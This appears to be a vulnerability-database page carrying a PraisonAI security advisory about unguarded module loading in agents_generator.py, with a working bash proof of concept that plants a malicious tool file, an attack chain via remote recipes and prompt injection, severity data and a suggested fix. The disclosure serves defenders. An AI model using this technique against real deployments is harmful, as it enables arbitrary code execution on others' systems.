roles:
  poc_agent:
    role: PoC
    goal: Trigger load_tools_from_module
    backstory: n/a
    tools:
      - evil.py
YAMLEOF

# 3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
    ai = PraisonAI(agent_file='agents.yaml')
    ai.main()
except Exception:
    pass  # downstream failure expected; exec_module already fired
"

# 4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
    echo "SUCCESS — marker file written by server process:"
    cat "$MARKER"
else
    echo "FAIL — marker not found"
    exit 1
fi

Impact

Severity

High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)

When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

CWE

CWE-94: Improper Control of Generation of Code ('Code Injection')
CWE-426: Untrusted Search Path
CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions

All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).

Suggested fix

Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:

import os

def load_tools_from_module(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

def load_tools_from_module_class(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

Credit

Kai Aizen & Avraham Shemesh / SnailSploit

Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass)

TL;DR

Patch lineage

CVE	GHSA	Fixed in	What was patched
CVE-2026-40156	GHSA-2g3w-cpc4-chr4	4.5.128	CWD `tools.py` auto-load in `tool_resolver.py`
CVE-2026-40287	GHSA-g985-wjh9-qxxc	4.5.139	Env-var gate added to `tool_resolver.py` + `api/call.py`
CVE-2026-44334	GHSA-xcmw-grxf-wjhj	4.6.32	Missed sink in `templates/tool_override.py`
This finding	—	unfixed	Missed sinks in `agents_generator.py`

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

Vulnerable code

# praisonai/agents_generator.py  (master HEAD; v4.6.37)

336    def load_tools_from_module(self, module_path):
           # ...
349        spec = importlib.util.spec_from_file_location("tools_module", module_path)
350        module = importlib.util.module_from_spec(spec)
351        spec.loader.exec_module(module)               # ← NO gate

372    def load_tools_from_module_class(self, module_path):
           # ...  (same pattern — spec_from_file_location → exec_module, no gate)

Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True).
Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector)

HTTP POST /v1/recipes/run
  body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
        │
        ▼
  Recipe fetched → agents.yaml contains:
    tools:
      - module_path: ./evil.py        # colocated in recipe dir
        │
        ▼
  AgentsGenerator.load_tools_from_module("./evil.py")
        │
        ▼
  agents_generator.py:349   spec = spec_from_file_location("tools_module", "./evil.py")
  agents_generator.py:351   spec.loader.exec_module(module)   ← RCE

No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

PoC

#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail

WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT

# 1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
                      f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
    f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool():
    """Placeholder so tool scan finds something."""
    pass
PYEOF

# 2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC — agents_generator exec_module bypass"
roles:
  poc_agent:
    role: PoC
    goal: Trigger load_tools_from_module
    backstory: n/a
    tools:
      - evil.py
YAMLEOF

# 3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
    ai = PraisonAI(agent_file='agents.yaml')
    ai.main()
except Exception:
    pass  # downstream failure expected; exec_module already fired
"

# 4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
    echo "SUCCESS — marker file written by server process:"
    cat "$MARKER"
else
    echo "FAIL — marker not found"
    exit 1
fi

Impact

Severity

High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)

When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

CWE

CWE-94: Improper Control of Generation of Code ('Code Injection')
CWE-426: Untrusted Search Path
CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions

All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).

Suggested fix

Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:

import os

def load_tools_from_module(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

def load_tools_from_module_class(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

Credit

Kai Aizen & Avraham Shemesh / [SnailSploit](https://snailsploit.com/)

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Impacted products

Name	purl
praisonai	pkg:pypi/praisonai

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai",
        "purl": "pkg:pypi/praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.10",
        "0.0.11",
        "0.0.12",
        "0.0.13",
        "0.0.14",
        "0.0.15",
        "0.0.16",
        "0.0.17",
        "0.0.18",
        "0.0.19",
        "0.0.2",
        "0.0.20",
        "0.0.21",
        "0.0.22",
        "0.0.23",
        "0.0.24",
        "0.0.25",
        "0.0.26",
        "0.0.27",
        "0.0.28",
        "0.0.29",
        "0.0.3",
        "0.0.30",
        "0.0.31",
        "0.0.32",
        "0.0.33",
        "0.0.34",
        "0.0.35",
        "0.0.36",
        "0.0.37",
        "0.0.38",
        "0.0.39",
        "0.0.4",
        "0.0.40",
        "0.0.41",
        "0.0.42",
        "0.0.43",
        "0.0.44",
        "0.0.45",
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      ]
    }
  ],
  "aliases": [
    "CVE-2026-47398",
    "GHSA-78r8-wwqv-r299"
  ],
  "details": "\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2\u003eArbitrary code execution via ungated \u003ccode\u003espec.loader.exec_module\u003c/code\u003e in \u003ccode\u003eagents_generator.py\u003c/code\u003e (v4.6.32 chokepoint refactor bypass)\u003c/h2\u003e\n\u003ch3\u003eSummary\u003c/h3\u003e\n\u003cp\u003eThe v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the \u003ccode\u003ePRAISONAI_ALLOW_LOCAL_TOOLS\u003c/code\u003e env-var gate to the \u003ccode\u003etool_override.py\u003c/code\u003e sinks. However, \u003cstrong\u003etwo additional \u003ccode\u003espec.loader.exec_module\u003c/code\u003e call sites\u003c/strong\u003e in \u003ccode\u003epraisonai/agents_generator.py\u003c/code\u003e were missed and remain completely unguarded on current \u003ccode\u003emaster\u003c/code\u003e (v4.6.37). Both functions accept a \u003ccode\u003emodule_path\u003c/code\u003e parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.\u003c/p\u003e\n\u003ch3\u003ePatch lineage\u003c/h3\u003e\n\nCVE | GHSA | Fixed in | What was patched\n-- | -- | -- | --\nCVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py\nCVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py\nCVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py\nThis finding | \u2014 | unfixed | Missed sinks in agents_generator.py\n\n\n\u003cp\u003eEvery prior patch addressed a subset of \u003ccode\u003eexec_module\u003c/code\u003e call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.\u003c/p\u003e\n\u003ch3\u003eVulnerable code\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003e# praisonai/agents_generator.py  (master HEAD; v4.6.37)\n\n336    def load_tools_from_module(self, module_path):\n           # ...\n349        spec = importlib.util.spec_from_file_location(\"tools_module\", module_path)\n350        module = importlib.util.module_from_spec(spec)\n351        spec.loader.exec_module(module)               # \u2190 NO gate\n\n372    def load_tools_from_module_class(self, module_path):\n           # ...  (same pattern \u2014 spec_from_file_location \u2192 exec_module, no gate)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNeither function checks \u003ccode\u003ePRAISONAI_ALLOW_LOCAL_TOOLS\u003c/code\u003e. Neither validates \u003ccode\u003emodule_path\u003c/code\u003e against an allowlist. The \u003ccode\u003emodule_path\u003c/code\u003e value originates from YAML agent configuration (\u003ccode\u003eagents.yaml\u003c/code\u003e) tool definitions, which can be:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eAttacker-controlled via shared/writable config directory\u003c/strong\u003e \u2014 same CWD-plant vector as CVE-2026-40156.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAttacker-controlled via recipe/GitHub fetch\u003c/strong\u003e \u2014 same remote trigger as CVE-2026-44334 (\u003ccode\u003ePOST /v1/recipes/run\u003c/code\u003e with \u003ccode\u003eallow_any_github=True\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAttacker-influenced via prompt injection\u003c/strong\u003e \u2014 an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3\u003eAttack chain (recipe vector)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eHTTP POST /v1/recipes/run\n  body: {\"recipe\": \"github:\u0026lt;attacker\u0026gt;/\u0026lt;repo\u0026gt;/\u0026lt;recipe\u0026gt;\"}\n        \u2502\n        \u25bc\n  Recipe fetched \u2192 agents.yaml contains:\n    tools:\n      - module_path: ./evil.py        # colocated in recipe dir\n        \u2502\n        \u25bc\n  AgentsGenerator.load_tools_from_module(\"./evil.py\")\n        \u2502\n        \u25bc\n  agents_generator.py:349   spec = spec_from_file_location(\"tools_module\", \"./evil.py\")\n  agents_generator.py:351   spec.loader.exec_module(module)   \u2190 RCE\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNo \u003ccode\u003ePRAISONAI_ALLOW_LOCAL_TOOLS\u003c/code\u003e check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.\u003c/p\u003e\n\u003ch3\u003ePoC\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003e#!/usr/bin/env bash\n# Requires: pip install praisonai (any version \u0026gt;= 2.0.0, \u0026lt;= 4.6.37)\nset -euo pipefail\n\nWORKDIR=$(mktemp -d)\ntrap \"rm -rf $WORKDIR\" EXIT\n\n# 1. Malicious module\ncat \u0026gt; \"$WORKDIR/evil.py\" \u0026lt;\u0026lt; \u0027PYEOF\u0027\nimport os, sys, tempfile, time\nmarker = os.path.join(tempfile.gettempdir(),\n                      f\"praisonai_agents_gen_pwn_{int(time.time())}.txt\")\nwith open(marker, \"w\") as f:\n    f.write(f\"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\\n\")\nprint(f\"[agents_generator bypass] RCE fired. Marker: {marker}\", flush=True)\n\ndef dummy_tool():\n    \"\"\"Placeholder so tool scan finds something.\"\"\"\n    pass\nPYEOF\n\n# 2. agents.yaml that references it\ncat \u0026gt; \"$WORKDIR/agents.yaml\" \u0026lt;\u0026lt; \u0027YAMLEOF\u0027\nframework: praisonai\ntopic: \"PoC \u2014 agents_generator exec_module bypass\"\nroles:\n  poc_agent:\n    role: PoC\n    goal: Trigger load_tools_from_module\n    backstory: n/a\n    tools:\n      - evil.py\nYAMLEOF\n\n# 3. Run\ncd \"$WORKDIR\"\npython -c \"\nfrom praisonai import PraisonAI\ntry:\n    ai = PraisonAI(agent_file=\u0027agents.yaml\u0027)\n    ai.main()\nexcept Exception:\n    pass  # downstream failure expected; exec_module already fired\n\"\n\n# 4. Verify\nMARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2\u0026gt;/dev/null | tail -1)\nif [ -n \"$MARKER\" ]; then\n    echo \"SUCCESS \u2014 marker file written by server process:\"\n    cat \"$MARKER\"\nelse\n    echo \"FAIL \u2014 marker not found\"\n    exit 1\nfi\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003eImpact\u003c/h3\u003e\n\u003cp\u003eArbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction \u2014 before any LLM interaction \u2014 so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an \u003ccode\u003eagents.yaml\u003c/code\u003e or colocate a \u003ccode\u003e.py\u003c/code\u003e file achieves code execution as the service account.\u003c/p\u003e\n\u003ch3\u003eSeverity\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eHigh\u003c/strong\u003e \u2014 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)\u003c/p\u003e\n\u003cp\u003eWhen combined with the recipe server\u0027s default no-auth posture and \u003ccode\u003eallow_any_github=True\u003c/code\u003e, the attack becomes \u003cstrong\u003enetwork-reachable without authentication\u003c/strong\u003e, elevating to:\u003c/p\u003e\n\u003cp\u003eCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)\u003c/p\u003e\n\u003ch3\u003eCWE\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)\u003c/li\u003e\n\u003cli\u003eCWE-426: Untrusted Search Path\u003c/li\u003e\n\u003cli\u003eCWE-829: Inclusion of Functionality from Untrusted Control Sphere\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAffected versions\u003c/h3\u003e\n\u003cp\u003eAll versions containing \u003ccode\u003eagents_generator.py\u003c/code\u003e with these functions \u2014 at minimum \u003ccode\u003e\u0026gt;= 2.0.0, \u0026lt;= 4.6.37\u003c/code\u003e (current \u003ccode\u003emaster\u003c/code\u003e HEAD).\u003c/p\u003e\n\u003ch3\u003eSuggested fix\u003c/h3\u003e\n\u003cp\u003eApply the same \u003ccode\u003ePRAISONAI_ALLOW_LOCAL_TOOLS\u003c/code\u003e env-var gate used in \u003ccode\u003etool_resolver.py\u003c/code\u003e and \u003ccode\u003eapi/call.py\u003c/code\u003e to both call sites in \u003ccode\u003eagents_generator.py\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003eimport os\n\ndef load_tools_from_module(self, module_path):\n    if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":\n        return []\n    # ... existing logic ...\n\ndef load_tools_from_module_class(self, module_path):\n    if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":\n        return []\n    # ... existing logic ...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eAdditionally, validate \u003ccode\u003emodule_path\u003c/code\u003e against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.\u003c/p\u003e\n\u003ch3\u003eCredit\u003c/h3\u003e\n\u003cp\u003eKai Aizen \u0026amp; Avraham Shemesh / \u003ca href=\"https://snailsploit.com/\"\u003eSnailSploit\u003c/a\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e## Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass)\n\n### TL;DR\n\nThe v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate to the `tool_override.py` sinks. However, **two additional `spec.loader.exec_module` call sites** in `praisonai/agents_generator.py` were missed and remain completely unguarded on current `master` (v4.6.37). Both functions accept a `module_path` parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.\n\n### Patch lineage\n\n| CVE | GHSA | Fixed in | What was patched |\n| --- | --- | --- | --- |\n| CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD `tools.py` auto-load in `tool_resolver.py` |\n| CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to `tool_resolver.py` + `api/call.py` |\n| CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in `templates/tool_override.py` |\n| **This finding** | \u2014 | **unfixed** | Missed sinks in `agents_generator.py` |\n\nEvery prior patch addressed a subset of `exec_module` call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.\n\n### Vulnerable code\n\n```python\n# praisonai/agents_generator.py  (master HEAD; v4.6.37)\n\n336    def load_tools_from_module(self, module_path):\n           # ...\n349        spec = importlib.util.spec_from_file_location(\"tools_module\", module_path)\n350        module = importlib.util.module_from_spec(spec)\n351        spec.loader.exec_module(module)               # \u2190 NO gate\n\n372    def load_tools_from_module_class(self, module_path):\n           # ...  (same pattern \u2014 spec_from_file_location \u2192 exec_module, no gate)\n```\n\nNeither function checks `PRAISONAI_ALLOW_LOCAL_TOOLS`. Neither validates `module_path` against an allowlist. The `module_path` value originates from YAML agent configuration (`agents.yaml`) tool definitions, which can be:\n\n1. **Attacker-controlled via shared/writable config directory** \u2014 same CWD-plant vector as CVE-2026-40156.\n2. **Attacker-controlled via recipe/GitHub fetch** \u2014 same remote trigger as CVE-2026-44334 (`POST /v1/recipes/run` with `allow_any_github=True`).\n3. **Attacker-influenced via prompt injection** \u2014 an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.\n\n### Attack chain (recipe vector)\n\n```\nHTTP POST /v1/recipes/run\n  body: {\"recipe\": \"github:\u003cattacker\u003e/\u003crepo\u003e/\u003crecipe\u003e\"}\n        \u2502\n        \u25bc\n  Recipe fetched \u2192 agents.yaml contains:\n    tools:\n      - module_path: ./evil.py        # colocated in recipe dir\n        \u2502\n        \u25bc\n  AgentsGenerator.load_tools_from_module(\"./evil.py\")\n        \u2502\n        \u25bc\n  agents_generator.py:349   spec = spec_from_file_location(\"tools_module\", \"./evil.py\")\n  agents_generator.py:351   spec.loader.exec_module(module)   \u2190 RCE\n```\n\nNo `PRAISONAI_ALLOW_LOCAL_TOOLS` check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.\n\n### PoC\n\n```bash\n#!/usr/bin/env bash\n# Requires: pip install praisonai (any version \u003e= 2.0.0, \u003c= 4.6.37)\nset -euo pipefail\n\nWORKDIR=$(mktemp -d)\ntrap \"rm -rf $WORKDIR\" EXIT\n\n# 1. Malicious module\ncat \u003e \"$WORKDIR/evil.py\" \u003c\u003c \u0027PYEOF\u0027\nimport os, sys, tempfile, time\nmarker = os.path.join(tempfile.gettempdir(),\n                      f\"praisonai_agents_gen_pwn_{int(time.time())}.txt\")\nwith open(marker, \"w\") as f:\n    f.write(f\"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\\n\")\nprint(f\"[agents_generator bypass] RCE fired. Marker: {marker}\", flush=True)\n\ndef dummy_tool():\n    \"\"\"Placeholder so tool scan finds something.\"\"\"\n    pass\nPYEOF\n\n# 2. agents.yaml that references it\ncat \u003e \"$WORKDIR/agents.yaml\" \u003c\u003c \u0027YAMLEOF\u0027\nframework: praisonai\ntopic: \"PoC \u2014 agents_generator exec_module bypass\"\nroles:\n  poc_agent:\n    role: PoC\n    goal: Trigger load_tools_from_module\n    backstory: n/a\n    tools:\n      - evil.py\nYAMLEOF\n\n# 3. Run\ncd \"$WORKDIR\"\npython -c \"\nfrom praisonai import PraisonAI\ntry:\n    ai = PraisonAI(agent_file=\u0027agents.yaml\u0027)\n    ai.main()\nexcept Exception:\n    pass  # downstream failure expected; exec_module already fired\n\"\n\n# 4. Verify\nMARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2\u003e/dev/null | tail -1)\nif [ -n \"$MARKER\" ]; then\n    echo \"SUCCESS \u2014 marker file written by server process:\"\n    cat \"$MARKER\"\nelse\n    echo \"FAIL \u2014 marker not found\"\n    exit 1\nfi\n```\n\n### Impact\n\nArbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction \u2014 before any LLM interaction \u2014 so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an `agents.yaml` or colocate a `.py` file achieves code execution as the service account.\n\n### Severity\n\n**High** \u2014 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)\n\nWhen combined with the recipe server\u0027s default no-auth posture and `allow_any_github=True`, the attack becomes **network-reachable without authentication**, elevating to:\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)\n\n### CWE\n\n- CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)\n- CWE-426: Untrusted Search Path\n- CWE-829: Inclusion of Functionality from Untrusted Control Sphere\n\n### Affected versions\n\nAll versions containing `agents_generator.py` with these functions \u2014 at minimum `\u003e= 2.0.0, \u003c= 4.6.37` (current `master` HEAD).\n\n### Suggested fix\n\nApply the same `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate used in `tool_resolver.py` and `api/call.py` to both call sites in `agents_generator.py`:\n\n```python\nimport os\n\ndef load_tools_from_module(self, module_path):\n    if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":\n        return []\n    # ... existing logic ...\n\ndef load_tools_from_module_class(self, module_path):\n    if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":\n        return []\n    # ... existing logic ...\n```\n\nAdditionally, validate `module_path` against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.\n\n### Credit\n\nKai Aizen \u0026 Avraham Shemesh / [[SnailSploit](https://snailsploit.com/)](https://snailsploit.com)",
  "id": "PYSEC-2026-2905",
  "modified": "2026-07-13T16:05:39.869762Z",
  "published": "2026-07-13T15:35:21.380441Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-78r8-wwqv-r299"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonai"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-78r8-wwqv-r299"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47398"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-78R8-WWQV-R299

Arbitrary code execution via ungated spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass)

Summary

Patch lineage

Vulnerable code

Attack chain (recipe vector)

PoC

Impact

Severity

CWE

Affected versions

Suggested fix

Credit

Arbitrary code execution via ungated spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass)

TL;DR

Patch lineage

Vulnerable code

Attack chain (recipe vector)

PoC

Impact

Severity

CWE

Affected versions

Suggested fix

Credit

PYSEC-2026-2905

Arbitrary code execution via ungated spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass)

Summary

Patch lineage

Vulnerable code

Attack chain (recipe vector)

PoC

Impact

Severity

CWE

Affected versions

Suggested fix

Credit

Arbitrary code execution via ungated spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass)

TL;DR

Patch lineage

Vulnerable code

Attack chain (recipe vector)

PoC

Impact

Severity

CWE

Affected versions

Suggested fix

Credit

Tags

Sightings

Nomenclature

Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass)

Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass)

Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass)

Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass)